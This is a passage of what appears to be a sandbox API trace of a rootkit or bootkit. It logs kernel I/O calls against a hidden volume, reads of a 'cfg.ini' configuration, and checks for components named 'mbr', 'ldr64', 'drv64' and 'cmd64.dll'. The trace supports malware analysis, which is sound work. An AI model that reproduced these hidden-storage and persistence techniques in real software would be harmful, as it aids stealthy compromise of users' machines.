VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.304] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.304] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.304] IdePortDispatch () returned 0x103 [0124.304] KeWaitForMutexObject () returned 0x0 [0124.304] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.304] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.304] KeLeaveCriticalRegion () [0124.304] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.304] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.304] KeEnterCriticalRegion () [0124.304] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.304] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800352f000 [0124.304] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.304] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.304] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.305] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.305] IdePortDispatch () returned 0x103 [0124.305] KeWaitForMutexObject () returned 0x0 [0124.305] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.305] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.305] IdePortDispatch () returned 0x103 [0124.305] KeWaitForMutexObject () returned 0x0 [0124.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.305] KeLeaveCriticalRegion () [0124.305] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.305] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.305] KeEnterCriticalRegion () [0124.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.306] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.306] KeLeaveCriticalRegion () [0124.306] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.306] KeEnterCriticalRegion () [0124.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.306] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.306] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0460, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.306] KeLeaveCriticalRegion () [0124.306] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.306] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.306] KeEnterCriticalRegion () [0124.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.306] ExFreePoolWithTag (P=0xfffffa8003bf03a0, Tag=0x0) [0124.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.306] KeLeaveCriticalRegion () [0124.306] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.306] ReleaseMutex (hMutex=0xf0) returned 1 [0124.306] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.306] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.306] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.306] KeEnterCriticalRegion () [0124.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.306] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.306] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.306] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.306] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.306] IdePortDispatch () returned 0x103 [0124.306] KeWaitForMutexObject () returned 0x0 [0124.306] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.306] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.306] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.306] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.306] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.306] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf0090 [0124.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.307] KeLeaveCriticalRegion () [0124.307] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.307] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.307] KeEnterCriticalRegion () [0124.307] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.307] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.307] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.307] KeLeaveCriticalRegion () [0124.307] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.307] KeEnterCriticalRegion () [0124.307] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.307] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.307] IdePortDispatch () returned 0x103 [0124.307] KeWaitForMutexObject () returned 0x0 [0124.307] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.307] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.307] KeLeaveCriticalRegion () [0124.307] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.307] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.307] KeEnterCriticalRegion () [0124.307] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.307] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003530000 [0124.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.307] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.307] IdePortDispatch () returned 0x103 [0124.308] KeWaitForMutexObject () returned 0x0 [0124.308] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.308] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.308] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.308] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.308] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.308] IdePortDispatch () returned 0x103 [0124.308] KeWaitForMutexObject () returned 0x0 [0124.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.308] KeLeaveCriticalRegion () [0124.308] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.308] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.308] KeEnterCriticalRegion () [0124.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.309] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.309] KeLeaveCriticalRegion () [0124.309] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.309] KeEnterCriticalRegion () [0124.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.309] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.309] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0150, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.309] KeLeaveCriticalRegion () [0124.309] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.309] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.309] KeEnterCriticalRegion () [0124.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.309] ExFreePoolWithTag (P=0xfffffa8003bf0090, Tag=0x0) [0124.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.309] KeLeaveCriticalRegion () [0124.309] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.309] ReleaseMutex (hMutex=0xf0) returned 1 [0124.309] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.309] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.309] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.309] KeEnterCriticalRegion () [0124.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.309] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.309] IdePortDispatch () returned 0x103 [0124.309] KeWaitForMutexObject () returned 0x0 [0124.309] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.309] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.309] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.309] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.309] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.309] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bef390 [0124.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.310] KeLeaveCriticalRegion () [0124.310] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.310] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.310] KeEnterCriticalRegion () [0124.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.310] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.310] KeLeaveCriticalRegion () [0124.310] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.310] KeEnterCriticalRegion () [0124.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.310] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.310] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.310] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.310] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.310] IdePortDispatch () returned 0x103 [0124.311] KeWaitForMutexObject () returned 0x0 [0124.311] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.311] KeLeaveCriticalRegion () [0124.311] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.311] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.311] KeEnterCriticalRegion () [0124.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.311] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003531000 [0124.311] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.311] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.311] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.311] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.311] IdePortDispatch () returned 0x103 [0124.311] KeWaitForMutexObject () returned 0x0 [0124.311] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.311] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.311] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.311] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.311] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.311] IdePortDispatch () returned 0x103 [0124.311] KeWaitForMutexObject () returned 0x0 [0124.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.312] KeLeaveCriticalRegion () [0124.312] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.312] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.312] KeEnterCriticalRegion () [0124.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.312] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.312] KeLeaveCriticalRegion () [0124.312] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.312] KeEnterCriticalRegion () [0124.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.312] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.312] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf0ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.312] KeLeaveCriticalRegion () [0124.312] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.312] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.312] KeEnterCriticalRegion () [0124.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.312] ExFreePoolWithTag (P=0xfffffa8003bef390, Tag=0x0) [0124.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.312] KeLeaveCriticalRegion () [0124.312] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.312] ReleaseMutex (hMutex=0xf0) returned 1 [0124.312] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.312] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.313] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.313] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.313] KeEnterCriticalRegion () [0124.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.313] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.313] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.313] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.313] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.313] IdePortDispatch () returned 0x103 [0124.313] KeWaitForMutexObject () returned 0x0 [0124.313] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.313] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.313] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.313] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.313] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.313] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.313] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.313] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.313] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.313] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.313] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.313] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.313] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.313] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.313] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.313] KeLeaveCriticalRegion () [0124.313] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.313] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.313] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.313] KeEnterCriticalRegion () [0124.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.313] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.313] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.313] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.313] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.313] IdePortDispatch () returned 0x103 [0124.314] KeWaitForMutexObject () returned 0x0 [0124.314] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.314] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.314] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.314] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.314] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.314] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.314] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.314] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.314] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.314] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.314] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.314] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.314] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.314] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.314] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.314] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.314] KeLeaveCriticalRegion () [0124.314] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.314] ReleaseMutex (hMutex=0x100) returned 1 [0124.314] Sleep (dwMilliseconds=0x2bf20) [0124.326] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d4da690, dwHighDateTime=0x1d24fa4)) [0124.326] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, 